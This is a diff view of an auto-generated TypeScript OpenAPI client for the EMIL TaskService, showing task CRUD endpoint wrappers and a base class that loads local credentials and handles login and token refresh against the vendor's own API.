| if (pageSize !== undefined) { | ||
| localVarQueryParameter['pageSize'] = pageSize; | ||
| } | ||
| if (pageToken !== undefined) { | ||
| localVarQueryParameter['pageToken'] = pageToken; | ||
| } | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask: async (code: string, patchTaskRequestDto: PatchTaskRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('patchTask', 'code', code) | ||
| // verify required parameter 'patchTaskRequestDto' is not null or undefined | ||
| assertParamExists('patchTask', 'patchTaskRequestDto', patchTaskRequestDto) | ||
| const localVarPath = `/taskservice/v1/tasks/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'PATCH', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(patchTaskRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * TasksApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const TasksApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = TasksApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async createTask(createTaskRequestDto: CreateTaskRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateTaskResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.createTask(createTaskRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async deleteTask(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.deleteTask(code, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async getTask(code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetTaskResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.getTask(code, authorization, expand, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async listTasks(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListTasksResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.listTasks(authorization, pageSize, pageToken, filter, search, order, expand, filters, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async patchTask(code: string, patchTaskRequestDto: PatchTaskRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<PatchTaskResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.patchTask(code, patchTaskRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * TasksApi - factory interface | ||
| * @export | ||
| */ | ||
| export const TasksApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = TasksApiFp(configuration) | ||
| return { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask(createTaskRequestDto: CreateTaskRequestDto, authorization?: string, options?: any): AxiosPromise<CreateTaskResponseClass> { | ||
| return localVarFp.createTask(createTaskRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask(code: string, authorization?: string, options?: any): AxiosPromise<void> { | ||
| return localVarFp.deleteTask(code, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask(code: string, authorization?: string, expand?: string, options?: any): AxiosPromise<GetTaskResponseClass> { | ||
| return localVarFp.getTask(code, authorization, expand, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListTasksResponseClass> { | ||
| return localVarFp.listTasks(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask(code: string, patchTaskRequestDto: PatchTaskRequestDto, authorization?: string, options?: any): AxiosPromise<PatchTaskResponseClass> { | ||
| return localVarFp.patchTask(code, patchTaskRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * Request parameters for createTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiCreateTaskRequest | ||
| */ | ||
| export interface TasksApiCreateTaskRequest { | ||
| /** | ||
| * | ||
| * @type {CreateTaskRequestDto} | ||
| * @memberof TasksApiCreateTask | ||
| */ | ||
| readonly createTaskRequestDto: CreateTaskRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiCreateTask | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for deleteTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiDeleteTaskRequest | ||
| */ | ||
| export interface TasksApiDeleteTaskRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof TasksApiDeleteTask | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiDeleteTask | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for getTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiGetTaskRequest | ||
| */ | ||
| export interface TasksApiGetTaskRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof TasksApiGetTask | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiGetTask | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * Expand to fetch additional information about the task. | ||
| * @type {string} | ||
| * @memberof TasksApiGetTask | ||
| */ | ||
| readonly expand?: string | ||
| } | ||
| /** | ||
| * Request parameters for listTasks operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiListTasksRequest | ||
| */ | ||
| export interface TasksApiListTasksRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @type {number} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly pageSize?: number | ||
| /** | ||
| * A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly pageToken?: string | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly filter?: string | ||
| /** | ||
| * Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly search?: string | ||
| /** | ||
| * Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly order?: string | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly expand?: string | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly filters?: string | ||
| } | ||
| /** | ||
| * Request parameters for patchTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiPatchTaskRequest | ||
| */ | ||
| export interface TasksApiPatchTaskRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof TasksApiPatchTask | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * | ||
| * @type {PatchTaskRequestDto} | ||
| * @memberof TasksApiPatchTask | ||
| */ | ||
| readonly patchTaskRequestDto: PatchTaskRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiPatchTask | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * TasksApi - object-oriented interface | ||
| * @export | ||
| * @class TasksApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class TasksApi extends BaseAPI { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {TasksApiCreateTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| public createTask(requestParameters: TasksApiCreateTaskRequest, options?: AxiosRequestConfig) { | ||
| return TasksApiFp(this.configuration).createTask(requestParameters.createTaskRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {TasksApiDeleteTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| public deleteTask(requestParameters: TasksApiDeleteTaskRequest, options?: AxiosRequestConfig) { | ||
| return TasksApiFp(this.configuration).deleteTask(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {TasksApiGetTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| public getTask(requestParameters: TasksApiGetTaskRequest, options?: AxiosRequestConfig) { | ||
| return TasksApiFp(this.configuration).getTask(requestParameters.code, requestParameters.authorization, requestParameters.expand, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {TasksApiListTasksRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| public listTasks(requestParameters: TasksApiListTasksRequest = {}, options?: AxiosRequestConfig) { | ||
| return TasksApiFp(this.configuration).listTasks(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {TasksApiPatchTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| public patchTask(requestParameters: TasksApiPatchTaskRequest, options?: AxiosRequestConfig) { | ||
| return TasksApiFp(this.configuration).patchTask(requestParameters.code, requestParameters.patchTaskRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
+327
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios'; | ||
| import * as fs from 'fs'; | ||
| import * as path from 'path'; | ||
| import * as os from 'os'; | ||
| export const BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, ""); | ||
| const CONFIG_DIRECTORY = '.emil'; | ||
| const CONFIG_FILENAME = 'credentials'; | ||
| const KEY_USERNAME = 'emil_username'; | ||
| const KEY_PASSWORD = 'emil_password'; | ||
| const filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const COLLECTION_FORMATS = { | ||
| csv: ",", | ||
| ssv: " ", | ||
| tsv: "\t", | ||
| pipes: "|", | ||
| }; | ||
| export interface LoginClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export interface SwitchWorkspaceRequest { | ||
| username: string; | ||
| targetWorkspace: string; | ||
| } | ||
| export interface SwitchWorkspaceResponseClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export enum Environment { | ||
| Production = 'https://apiv2.emil.de', | ||
| Test = 'https://apiv2-test.emil.de', | ||
| Staging = 'https://apiv2-staging.emil.de', | ||
| Development = 'https://apiv2-dev.emil.de', | ||
| ProductionZurich = 'https://eu-central-2.apiv2.emil.de', | ||
| } | ||
| let _retry_count = 0 | ||
| let _retry = null | ||
| export function resetRetry() { | ||
| _retry_count = 0 | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface RequestArgs | ||
| */ | ||
| export interface RequestArgs { | ||
| url: string; | ||
| options: AxiosRequestConfig; | ||
| } | ||
| const NETWORK_ERROR_MESSAGE = "Network Error"; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class BaseAPI | ||
| */ | ||
| export class BaseAPI { | ||
| protected configuration: Configuration; | ||
| private username?: string; | ||
| private password?: string; | ||
| constructor(configuration?: Configuration, protected basePath: string = BASE_PATH, protected axios: AxiosInstance = globalAxios) { | ||
| if (configuration) { | ||
| this.configuration = configuration; | ||
| this.basePath = configuration.basePath || this.basePath; | ||
| } else { | ||
| this.configuration = new Configuration({ | ||
| basePath: this.basePath, | ||
| }); | ||
| } | ||
| this.attachInterceptor(axios); | ||
| } | ||
| async initialize(env: Environment = Environment.Production, targetWorkspace?: string) { | ||
| this.configuration.basePath = env; | ||
| await this.loadCredentials(); | ||
| if (this.username) { | ||
| await this.authorize(this.username, this.password, targetWorkspace); | ||
| this.password = null; // to avoid keeping password loaded in memory. | ||
| } | ||
| } | ||
| private async loadCredentials() { | ||
| try { | ||
| await this.readConfigFile(); | ||
| } catch (error) { | ||
| console.warn(`No credentials file found. Check that ${filePath} exists.`); | ||
| } | ||
| this.readEnvVariables(); | ||
| if (!this.username) { | ||
| console.info(`No credentials found in credentials file or environment variables. Either provide some or use | ||
| authorize() function.`); | ||
| } | ||
| } | ||
| private async readConfigFile() { | ||
| const file = await fs.promises.readFile(filePath, 'utf-8'); | ||
| const lines = file.split(os.EOL) | ||
| .filter(Boolean); | ||
| lines.forEach((line: string) => { | ||
| if (line.startsWith(KEY_USERNAME)) { | ||
| this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : ''; | ||
| } else if (line.startsWith(KEY_PASSWORD)) { | ||
| this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : ''; | ||
| } | ||
| }); | ||
| } | ||
| private readEnvVariables(): boolean { | ||
| if (process.env.EMIL_USERNAME) { | ||
| this.username = process.env.EMIL_USERNAME; | ||
| this.password = process.env.EMIL_PASSWORD || ''; | ||
| return true; | ||
| } | ||
| return false; | ||
| } | ||
| selectEnvironment(env: Environment) { | ||
| this.configuration.basePath = env; | ||
| } | ||
| async authorize(username: string, password: string, targetWorkspace?: string): Promise<void> { | ||
| const options: AxiosRequestConfig = { | ||
| method: 'POST', | ||
| url: `${this.configuration.basePath}/authservice/v1/login`, | ||
| headers: { 'Content-Type': 'application/json' }, | ||
| data: { | ||
| username, | ||
| password, | ||
| }, | ||
| withCredentials: true, | ||
| }; | ||
| const response = await globalAxios.request<LoginClass>(options); | ||
| const { data: { accessToken } } = response; | ||
| this.configuration.username = username; | ||
| this.configuration.accessToken = `Bearer ${accessToken}`; | ||
| const refreshToken = this.extractRefreshToken(response) | ||
| this.configuration.refreshToken = refreshToken; | ||
| // Switch workspace if provided | ||
| if (targetWorkspace) { | ||
| await this.switchWorkspace(targetWorkspace); | ||
| } | ||
| } | ||
| async switchWorkspace(targetWorkspace: string): Promise<void> { | ||
| const options: AxiosRequestConfig = { | ||
| method: 'POST', | ||
| url: `${this.configuration.basePath}/authservice/v1/workspaces/switch`, | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| 'Authorization': `Bearer ${this.configuration.accessToken}`, | ||
| 'Cookie': this.configuration.refreshToken, | ||
| }, | ||
| data: { | ||
| username: this.configuration.username, | ||
| targetWorkspace, | ||
| } as SwitchWorkspaceRequest, | ||
| withCredentials: true, | ||
| }; | ||
| const response = await globalAxios.request<SwitchWorkspaceResponseClass>(options); | ||
| const { data: { accessToken } } = response; | ||
| this.configuration.accessToken = `Bearer ${accessToken}`; | ||
| const refreshToken = this.extractRefreshToken(response); | ||
| if (refreshToken) { | ||
| this.configuration.refreshToken = refreshToken; | ||
| } | ||
| } | ||
| async refreshTokenInternal(): Promise<string> { | ||
| const { username, refreshToken } = this.configuration; | ||
| if (!username || !refreshToken) { | ||
| return ''; | ||
| } | ||
| const options: AxiosRequestConfig = { | ||
| method: 'POST', | ||
| url: `${this.configuration.basePath}/authservice/v1/refresh-token`, | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| Cookie: refreshToken, | ||
| }, | ||
| data: { username: username }, | ||
| withCredentials: true, | ||
| }; | ||
| const { data: { accessToken } } = await globalAxios.request<LoginClass>(options); | ||
| return accessToken; | ||
| } | ||
| private extractRefreshToken(response: AxiosResponse): string { | ||
| if (response.headers && response.headers['set-cookie'] | ||
| && response.headers['set-cookie'].length > 0) { | ||
| return `${response.headers['set-cookie'][0].split(';')[0]};`; | ||
| } | ||
| return ''; | ||
| } | ||
| getConfiguration(): Configuration { | ||
| return this.configuration; | ||
| } | ||
| private attachInterceptor(axios: AxiosInstance) { | ||
| axios.interceptors.response.use( | ||
| (res) => { | ||
| return res; | ||
| }, | ||
| async (err) => { | ||
| let originalConfig = err.config; | ||
| if (err.response) { | ||
| // Access Token was expired | ||
| if (err.response.status === 401 && !originalConfig._retry) { | ||
| originalConfig._retry = true; | ||
| try { | ||
| const tokenString = await this.refreshTokenInternal(); | ||
| const accessToken = `Bearer ${tokenString}`; | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return axios.request(originalConfig); | ||
| } catch (_error) { | ||
| if (_error.response && _error.response.data) { | ||
| return Promise.reject(_error.response.data); | ||
| } | ||
| return Promise.reject(_error); | ||
| } | ||
| } | ||
| if (err.response.status === 403 && err.response.data) { | ||
| return Promise.reject(err.response.data); | ||
| } | ||
| } else if(err.message === NETWORK_ERROR_MESSAGE | ||
| && err.isAxiosError | ||
| && originalConfig.headers.hasOwnProperty('Authorization') | ||
| && _retry_count < 4 | ||
| ){ | ||
| _retry_count++; | ||
| try { | ||
| const tokenString = await this.refreshTokenInternal(); | ||
| const accessToken = `Bearer ${tokenString}`; | ||
| _retry = true; | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return axios.request({ | ||
| ...originalConfig, | ||
| }); | ||
| } catch (_error) { | ||
| if (_error.response && _error.response.data) { | ||
| return Promise.reject(_error.response.data); | ||
| } | ||
| return Promise.reject(_error); | ||
| } | ||
| } | ||
| return Promise.reject(err); | ||
| } | ||
| ); | ||
| } | ||
| }; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class RequiredError | ||
| * @extends {Error} | ||
| */ | ||
| export class RequiredError extends Error { | ||
| override name: "RequiredError" = "RequiredError"; | ||
| constructor(public field: string, msg?: string) { | ||
| super(msg); | ||
| } | ||
| } | ||
+199
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
